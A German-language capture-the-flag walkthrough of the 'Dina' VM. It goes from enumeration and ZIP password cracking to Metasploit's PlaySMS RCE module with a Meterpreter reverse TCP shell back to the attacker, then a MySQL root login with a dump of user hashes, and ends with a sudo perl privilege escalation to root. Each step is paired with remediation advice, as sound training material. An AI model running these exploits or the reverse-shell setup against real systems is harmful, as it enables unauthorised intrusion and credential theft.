192.168.2.116 08:00:27:3a:ec:d6 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts zu finden.
Bewertung: Der Host `192.168.2.116` wird entdeckt. Die MAC-Adresse `08:00:27:3a:ec:d6` (PCS Systemtechnik GmbH) ist ein typischer Indikator für eine VirtualBox-VM.
Empfehlung (Pentester): Verwende `192.168.2.116` als Ziel für weitere Scans.
Empfehlung (Admin): Standard-Netzwerk-Discovery.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.116 dina.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um den Hostnamen `dina.vln` der IP `192.168.2.116` zuzuordnen.
Bewertung: Erleichtert das Ansprechen des Ziels über einen Namen.
Empfehlung (Pentester): Verwende `dina.vln` für Web-Tests.
Empfehlung (Admin): Clientseitige Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 00:10 CEST Nmap scan report for dina.vln (192.168.2.116) Host is up (0.00012s latency). Not shown: 65534 closed tcp ports (reset) PRT STATE SERVICE VERSIN 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-robots.txt: 5 disallowed entries |_/ange1 /angel1 /nothing /tmp /uploads |_http-title: Dina |_http-server-header: Apache/2.2.22 (Ubuntu) MAC Address: 08:00:27:3A:EC:D6 (racle VirtualBox virtual NIC) [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HOP RTT ADDRESS 1 0.12 ms dina.vln (192.168.2.116)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird gegen das Ziel durchgeführt.
Bewertung: * **Nur Port 80 (HTTP):** Es ist nur ein Port offen. Apache httpd Version 2.2.22 (Ubuntu) läuft darauf. Diese Version ist sehr alt und hat bekannte Schwachstellen. * **`robots.txt`:** Nmap findet eine `robots.txt` mit interessanten `Disallow`-Einträgen: `/ange1`, `/angel1`, `/nothing`, `/tmp`, `/uploads`. Diese Pfade sollten untersucht werden. * **Seitentitel:** Der Titel ist "Dina".
Empfehlung (Pentester):** Konzentriere dich vollständig auf den Webserver auf Port 80. Untersuche die in `robots.txt` gefundenen Pfade, insbesondere `/nothing`. Prüfe auf bekannte Schwachstellen für Apache 2.2.22.
Empfehlung (Admin):** **Dringend Apache aktualisieren!** Version 2.2 ist End-of-Life. `robots.txt` sollte keine internen oder sensiblen Pfade auflisten.
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
Analyse: Gefilterte Nmap-Ausgabe zur Bestätigung des offenen Ports.
Bewertung: Bestätigt Port 80 (HTTP).
Empfehlung (Pentester): Weiter mit Web-Enumeration.
Empfehlung (Admin): Siehe vorherige Empfehlungen.
- Nikto v2.5.0 [...] + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak inodes via ETags [...]. + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + /ange1/: Directory indexing found. + /robots.txt: Entry '/ange1/' is returned a non-forbidden or redirect HTTP code (200). [...] + /uploads/: Directory indexing found. + /robots.txt: Entry '/uploads/' is returned a non-forbidden or redirect HTTP code (200). [...] + /angel1/: Directory indexing found. + /robots.txt: Entry '/angel1/' is returned a non-forbidden or redirect HTTP code (200). [...] + /tmp/: Directory indexing found. + /robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). [...] + /robots.txt: contains 5 entries which should be manually viewed. [...] + Apache/2.2.22 appears to be outdated [...]. + /index: Apache mod_negotiation is enabled with MultiViews [...], found: index.html. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /secure/: Directory indexing found. <-- Neu! + /tmp/: This might be interesting. + /icons/README: Apache default file found. [...] + /#wp-config.php#: #wp-config.php# file found. <-- Falsch-Positiv? Unwahrscheinlich bei Apache 2.2 ohne WP-Hinweis. [...] + 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.
Bewertung:** Nikto bestätigt viele Nmap-Funde und fügt hinzu: * Bestätigt veralteten Apache 2.2.22. * Bestätigt die Zugänglichkeit und das Directory Indexing für die Pfade aus `robots.txt`: `/ange1`, `/angel1`, `/uploads`, `/tmp`. * Findet zusätzlich das Verzeichnis `/secure/` mit Directory Indexing. * `mod_negotiation` ist aktiv (kann zur Dateinamen-Enumeration führen). * Findet eine potenzielle WordPress-Datei (`#wp-config.php#`), was aber angesichts der Apache-Version und fehlender anderer WP-Hinweise eher unwahrscheinlich erscheint. Die Verzeichnisse mit Directory Indexing sind die wichtigsten Funde.
Empfehlung (Pentester):** Untersuche manuell die Inhalte der Verzeichnisse `/ange1`, `/angel1`, `/nothing`, `/tmp`, `/uploads` und `/secure`. Suche nach Dateien, insbesondere Backups oder Konfigurationsdateien.
Empfehlung (Admin):** Apache dringend aktualisieren! Directory Indexing deaktivieren (`Options -Indexes`). `mod_negotiation` prüfen und ggf. deaktivieren. Unnötige Verzeichnisse entfernen.
[...] http://dina.vln/index (Status: 200) [Size: 3618] http://dina.vln/index.html (Status: 200) [Size: 3618] http://dina.vln/uploads (Status: 301) [Size: 306] [--> http://dina.vln/uploads/] http://dina.vln/secure (Status: 301) [Size: 305] [--> http://dina.vln/secure/] http://dina.vln/robots.txt (Status: 200) [Size: 102] http://dina.vln/robots (Status: 200) [Size: 102] http://dina.vln/tmp (Status: 301) [Size: 302] [--> http://dina.vln/tmp/] [...]
Analyse: `gobuster` wird zur Verzeichnis-Enumeration eingesetzt.
Bewertung: Bestätigt die Existenz der von Nikto und `robots.txt` identifizierten Verzeichnisse `/uploads`, `/secure`, `/tmp`. Findet außerdem `index`/`index.html` und `robots`/`robots.txt` (aufgrund von `mod_negotiation`).
Empfehlung (Pentester):** Manuell die Inhalte der gefundenen Verzeichnisse untersuchen, insbesondere `/nothing` (aus robots.txt), `/tmp`, `/uploads`, `/secure`.
Empfehlung (Admin):** Siehe vorherige Empfehlungen.
Analyse:** Manuelle Untersuchung der gefundenen Verzeichnisse und Dateien.
User-agent: * Disallow: /ange1 Disallow: /angel1 Disallow: /nothing Disallow: /tmp Disallow: /uploads
my secret pass freedom password helloworld! diana iloveroot
[...]
Dina 1.0
Dina ~ Angel of Learning.
ADMININ: This celestial being is said to be the angel who taught
humans how to speak. He continually inspires us to culturally evolve
and fills our hearts with love of learning.
[...]
Analyse: * `robots.txt` listet mehrere Verzeichnisse auf, darunter `/nothing`. * Das Verzeichnis `/nothing` wird aufgerufen (Directory Indexing muss aktiv sein) und enthält eine Liste von Wörtern, die wie Passwörter aussehen. * `index.html` zeigt den Titel "Dina 1.0" und den Autor "TUHID SHAIKH".
Bewertung: Die Passwortliste im `/nothing`-Verzeichnis ist der **wichtigste Fund**. Diese Passwörter (`freedom`, `diana` etc.) sollten für das Knacken von Hashes oder Archiven verwendet werden. Der Autor "Tuhid Shaikh" könnte ein Benutzername sein.
Empfehlung (Pentester):** Suche nach passwortgeschützten Dateien (z.B. ZIP-Archive in `/uploads`, `/tmp` oder `/secure`). Verwende die Passwortliste aus `/nothing/` zum Knacken.
Empfehlung (Admin):** **Entferne die Passwortliste aus `/nothing/`!** Speichere niemals Passwörter im Klartext im Web-Root. Deaktiviere Directory Indexing.
Analyse:** Cracken einer (vermutlich in `/uploads` oder `/tmp` gefundenen) ZIP-Datei.
[Keine Ausgabe, Hash wird in Datei geschrieben]
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
[...]
freedom (backup.zip/backup-cred.mp3)
1g 0:00:00:00 DONE (2023-07-13 00:19) 7.142g/s [...]
Session completed.
Analyse: Aus einer Datei `backup.zip` wird mit `zip2john` der Passwort-Hash extrahiert. Dieser Hash wird dann mit `john` und der `rockyou.txt`-Wortliste geknackt.
Bewertung:** **Erfolg!** Das Passwort für die ZIP-Datei ist `freedom`. Dieses Wort war in der Liste im `/nothing`-Verzeichnis enthalten. Die ZIP-Datei enthält eine Datei namens `backup-cred.mp3`.
Empfehlung (Pentester):** Entpacke `backup.zip` mit dem Passwort `freedom` und untersuche den Inhalt von `backup-cred.mp3`.
Empfehlung (Admin):** Schütze Backup-Archive mit starken Passwörtern, die nicht leicht zu erraten oder in öffentlich zugänglichen Listen zu finden sind.
I am not toooo smart in computer ....... dat the resoan i always choose easy password... with creds backup file.... uname: touhid password: diana url : /SecreTSMSgatwayLogin
Analyse: Der Inhalt der extrahierten Datei `backup-cred.mp3` (die wahrscheinlich eine Textdatei ist) wird angezeigt.
Bewertung:** **Kritische Credentials gefunden!** Die Datei enthält Zugangsdaten (`touhid`:`diana`) und einen URL-Pfad (`/SecreTSMSgatwayLogin`). Das Passwort `diana` war ebenfalls in der Liste im `/nothing`-Verzeichnis. Dies deutet auf eine Webanwendung (vermutlich PlaySMS, basierend auf dem Namen) unter dem gefundenen Pfad hin.
Empfehlung (Pentester):** Greife auf `http://dina.vln/SecreTSMSgatwayLogin` zu und versuche, dich mit `touhid:diana` anzumelden. Suche nach bekannten Schwachstellen für die dort laufende Anwendung (wahrscheinlich PlaySMS).
Empfehlung (Admin):** Speichere niemals Klartext-Credentials in Backup-Dateien. Verwende unterschiedliche, starke Passwörter.
Analyse:** Zugriff auf die gefundene PlaySMS-Anwendung und Ausnutzung einer bekannten Schwachstelle.
[Login mit touhid:diana erfolgreich. PlaySMS-Interface wird angezeigt.]
Analyse: Der Login in die PlaySMS-Anwendung unter `/SecreTSMSgatwayLogin` mit den Credentials `touhid:diana` gelingt.
Bewertung:** Der Zugriff auf die PlaySMS-Anwendung ist hergestellt. Dies öffnet die Tür für spezifische PlaySMS-Exploits.
Empfehlung (Pentester):** Suche im Metasploit Framework oder anderen Quellen nach Exploits für PlaySMS, die mit den vorhandenen Benutzerrechten funktionieren.
Empfehlung (Admin):** PlaySMS aktuell halten, Zugriff beschränken, Standardpfade ändern.
[+] Starting database
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- [...] 2 exploit/multi/http/playsms_filename_exec 2017-05-21 excellent Yes PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution [...]
[*] Using configured payload php/meterpreter/reverse_tcp
RHOSTS => 192.168.2.116
RPORT => 80
TARGETURI => /SecreTSMSgatwayLogin
USERNAME => touhid
PASSWORD => diana
LHOST => 192.168.2.105
[*] Started reverse TCP handler on 192.168.2.105:4444 [+] Authentication successful : [ touhid : diana ] [*] Sending stage (39927 bytes) to 192.168.2.116 [*] Meterpreter session 1 opened (192.168.2.105:4444 -> 192.168.2.116:53698) at 2023-07-13 00:36:47 +0200 meterpreter >
Analyse: Metasploit wird gestartet und nach PlaySMS-Exploits gesucht. Der Exploit `exploit/multi/http/playsms_filename_exec` wird ausgewählt. Dieser Exploit nutzt eine Schwachstelle in der `sendfromfile.php`-Funktion aus, die authentifizierten Benutzern erlaubt, durch Manipulation des Dateinamen-Parameters Code auszuführen. Die notwendigen Optionen (Ziel-IP/Port, URI, Username/Passwort, lokale Listener-IP) werden gesetzt und der Exploit ausgeführt.
Bewertung:** **Exploit erfolgreich! Initial Access erreicht!** Der Exploit funktioniert, die Authentifizierung als `touhid` gelingt, und eine Meterpreter-Session wird geöffnet. Diese Session läuft als der Benutzer, unter dem der Webserver (und somit PlaySMS) ausgeführt wird, typischerweise `www-data`.
Empfehlung (Pentester):** Wechsle zur Meterpreter-Session (`sessions -i 1`) oder öffne eine Shell (`shell`). Beginne die Post-Exploitation als Webserver-Benutzer.
Empfehlung (Admin):** **PlaySMS dringend aktualisieren oder entfernen!** Diese Version ist bekanntermaßen anfällig. Web Application Firewall (WAF) kann solche Angriffe möglicherweise erkennen.
Ziel des POC: Demonstrieren, wie durch das Finden eines passwortgeschützten Backups, das Knacken des Passworts mittels einer öffentlich zugänglichen Passwortliste und die Ausnutzung einer bekannten Schwachstelle (Authenticated RCE) in der PlaySMS-Anwendung eine Meterpreter-Shell als `www-data` erlangt wird.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Passwortliste finden: Verzeichnis `/nothing` untersuchen.
2. Backup finden & Passwort knacken: `backup.zip` finden, Hash extrahieren (`zip2john`), Passwort (`freedom`) mit `john` und der Liste aus `/nothing` knacken.
3. Credentials extrahieren: `backup.zip` entpacken, `backup-cred.mp3` lesen -> `touhid:diana` und `/SecreTSMSgatwayLogin`.
4. PlaySMS Exploit (Metasploit):
[...] [*] Meterpreter session 1 opened [...] meterpreter >
Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!** Eine Kette von Funden (Passwortliste, Backup, Klartext-Credentials) führte zur Ausnutzung einer bekannten Anwendungsschwachstelle.
Empfehlung (Pentester): Post-Exploitation starten.
Empfehlung (Admin):** Keine Passwörter/Listen im Webroot, Backups sicher speichern/verschlüsseln, PlaySMS patchen/entfernen.
Analyse:** Nach Erhalt der Meterpreter-Shell als `www-data` wird nach weiteren Informationen gesucht, insbesondere Datenbank-Credentials.
root';
$core_config['db']['pass'] = 'hello@mysql';
$core_config['db']['name'] = 'playsms';
[...]
?>
Analyse: Die Konfigurationsdatei `config.php` von PlaySMS wird ausgelesen.
Bewertung:** **Kritische MySQL Root-Credentials gefunden!** Die Anwendung verwendet den MySQL-Benutzer `root` mit dem Passwort `hello@mysql`.
Empfehlung (Pentester):** Versuche, dich mit diesen Credentials am lokalen MySQL-Server anzumelden. Untersuche die Datenbanken (`playsms`, `mysql`) auf Benutzerdaten, Hashes oder andere sensible Informationen.
Empfehlung (Admin):** Erstelle dedizierte Datenbankbenutzer mit minimalen Rechten für Webanwendungen. Verwende niemals den DB-Root-Benutzer direkt in Anwendungen. Sichere die `config.php` mit restriktiven Dateiberechtigungen.
Enter password: hello@mysql [Passworteingabe] Welcome to the MySQL monitor. [...] mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | playsms | +--------------------+ mysql> use playsms; Database changed mysql> show tables; +-------------------------------------------+ | Tables_in_playsms | +-------------------------------------------+ [...] | playsms_tblUser | [...] +-------------------------------------------+ mysql> select * from playsms_tblUser; +-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+ | c_timestamp | parent_uid | uid | status | acl_id | username | password | token | enable_webservices | webservices_ip | name | mobile | email | sender | footer | address | city | state | country | zipcode | credit | adhoc_credit | datetime_timezone | language_module | fwd_to_mobile | fwd_to_email | fwd_to_inbox | replace_zero | plus_sign_remove | plus_sign_add | register_datetime | lastupdate_datetime | flag_deleted | +-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+ | 0 | 0 | 1 | 2 | 0 | admin | 78f3198ce97ae2bdddb15cc25d559c6f | | 0 | 127.0.0.1, 192.168.*.* | Admin | +989876543210 | admin@example.com | | @admin | | Mumbai | Maharashtra | 81 | | 0.000 | 0.000 | +0700 | en_US | 0 | 1 | 1 | | 1 | 0 | 0 | 0 | 2017-10-17 04:17:02 | 2017-10-17 04:17:02 | 0 | | 0 | 0 | 2 | 3 | 0 | touhid | 3a23bb515e06d0e944ff916e79a7775c | 51ff7f53d487db5bdb7d95d435af7203 | 1 | *.*.*.* | Touhid | | admin@touhidshaikh.com | | @touhid | | | | 0 | | 0.000 | 0.000 | +0700 | en_US | 0 | 1 | 1 | | 1 | 0 | 9 | 2017-10-17 11:48:10 | 2017-10-17 04:57:10 | 0 | +-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+
Analyse: Erfolgreicher Login in die MySQL-Datenbank als `root` mit dem Passwort `hello@mysql`. Die `playsms`-Datenbank wird untersucht, und die Benutzertabelle `playsms_tblUser` wird abgefragt.
Bewertung: Die Tabelle zeigt die Benutzer `admin` und `touhid` mit ihren MD5-Passwort-Hashes. Der Hash für `touhid` (`3a23...`) entspricht MD5('diana'). Der Hash für `admin` (`78f3...`) ist unbekannt.
Empfehlung (Pentester):** Versuche, den MD5-Hash für `admin` online (z.B. Crackstation) oder offline (z.B. `hashcat`) zu knacken. Untersuche andere Datenbanken (`mysql`) auf Systembenutzer-Hashes.
Empfehlung (Admin):** Verwende starke Hashing-Algorithmen (nicht MD5) für Passwörter. Beschränke Datenbankzugriffe.
Analyse:** Ein nicht erfolgreicher Versuch, Steganografie auf ein Bild anzuwenden, das wahrscheinlich von der Webseite stammt.
[...]
[...] No obvious metadata [...]
[...] [i] Progress: 99.41% [...] <-- Läuft lange / Kein Ergebnis im Log
Analyse: Das Bild `angeldina.jpg` wird heruntergeladen. `exiftool` zeigt keine relevanten Metadaten. `stegseek` wird verwendet, um mit `rockyou.txt` nach versteckten Daten zu suchen, liefert aber im Log kein Ergebnis.
Bewertung:** Dieser Weg scheint eine Sackgasse zu sein. Steganografie ist hier wahrscheinlich nicht der vorgesehene Pfad oder erfordert ein anderes Passwort/Tool.
Empfehlung (Pentester):** Fokussiere dich auf die Enumeration des Systems als `www-data`, insbesondere auf `sudo`-Rechte und SUID-Dateien.
Empfehlung (Admin):** Keine Aktion erforderlich.
[...] 259817 68 -rwsr-xr-x 1 root root 65608 Jan 31 2012 /usr/bin/sudoedit [...] 259817 68 -rwsr-xr-x 1 root root 65608 Jan 31 2012 /usr/bin/sudo [...] 258774 12 -rwsr-sr-x 1 root root 9524 Mar 22 2012 /usr/bin/X <-- Xorg SUID (alt, evtl. relevant?) [...] 387994 32 -rwsr-xr-x 1 root root 31116 Apr 9 2012 /bin/su [...]
[Keine Ausgabe]
Analyse: Suche nach SUID-Binaries und Capabilities als `www-data`.
Bewertung: Findet hauptsächlich Standard-SUID-Dateien (`sudo`, `su`, `passwd` etc.). Keine Capabilities gefunden. `/usr/bin/X` mit SUID ist bei älteren Systemen manchmal ein Vektor, aber `sudo` ist der wahrscheinlichere Weg.
Empfehlung (Pentester):** Überprüfe die `sudo`-Rechte für `www-data` mit `sudo -l`.
Empfehlung (Admin):** Entferne unnötige SUID-Bits.
Matching Defaults entries for www-data on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on this host: (ALL) NOPASSWD: /usr/bin/perl
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `www-data` zu prüfen.
Bewertung:** **Kritische Fehlkonfiguration!** Der Benutzer `www-data` darf `/usr/bin/perl` als `ALL` (jeder Benutzer, insbesondere root) **ohne Passwortabfrage** (`NOPASSWD`) ausführen. Perl kann sehr einfach zum Ausführen von Systembefehlen oder zum Spawnen einer Shell missbraucht werden.
Empfehlung (Pentester):** Nutze die `sudo perl`-Berechtigung zur Privilege Escalation. Der Befehl `sudo /usr/bin/perl -e 'exec "/bin/bash";'` sollte eine Root-Shell liefern (siehe GTFOBins).
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei dringend!** Erlaube `perl` niemals mit `sudo` auf diese Weise, besonders nicht für den Webserver-Benutzer und ohne Passwort.
[Keine Ausgabe, aber Prompt ändert sich]
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der GTFOBins-Payload für `sudo perl` wird ausgeführt. `-u root` ist optional, da `ALL` bereits Root impliziert. `-e 'exec "/bin/bash";'` weist Perl an, den aktuellen Prozess durch `/bin/bash` zu ersetzen.
Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel wurde ausgenutzt, um eine Root-Shell zu erhalten (`uid=0(root)`).
Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** `sudoers`-Regel korrigieren.
[...] -rw-r--r-- 1 root root 639 Oct 17 2017 flag.txt [...]
________ _________ \________\--___ ___ ____-/_________/ \_______\-\\\\\\ //_ _ \\ //////-/________/ \______\-\\|| (( ~|~ ))) ||///________/ \_____\\\ ((\ = / ))) //-/_____/ \____\--\_))) \ _)))/____/ \__/ ((( (((_/ | -))) - )) root password is : hello@3210 easy one .....but hard to guess..... but i think u dont need root password...... u already have root shelll.... CONG......... FLAG : 22d06624cd604a0626eb5a2992a6f2e6
Analyse: In der Root-Shell wird in `/root` gewechselt und `flag.txt` angezeigt.
Bewertung: Die Datei `flag.txt` enthält ASCII-Art, einen Hinweis auf das Root-Passwort (`hello@3210` - was mit den DB-Credentials übereinstimmt) und die **Root-Flag**: `22d06624cd604a0626eb5a2992a6f2e6`.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Verwende unterschiedliche Passwörter für Root und Datenbanken. Entferne Flags aus lesbaren Dateien.
Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/perl` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.
Voraussetzungen: Shell als `www-data`, unsichere `sudoers`-Regel (`(ALL) NOPASSWD: /usr/bin/perl`), Tools `sudo`, `perl`.
Schritte: `sudo -l` ausführen -> `sudo /usr/bin/perl -e 'exec "/bin/bash";'` ausführen -> `id` zur Bestätigung.
[...] (ALL) NOPASSWD: /usr/bin/perl
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die `sudo`-Fehlkonfiguration ermöglichte die triviale Eskalation zu Root.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für Perl dringend korrigieren!**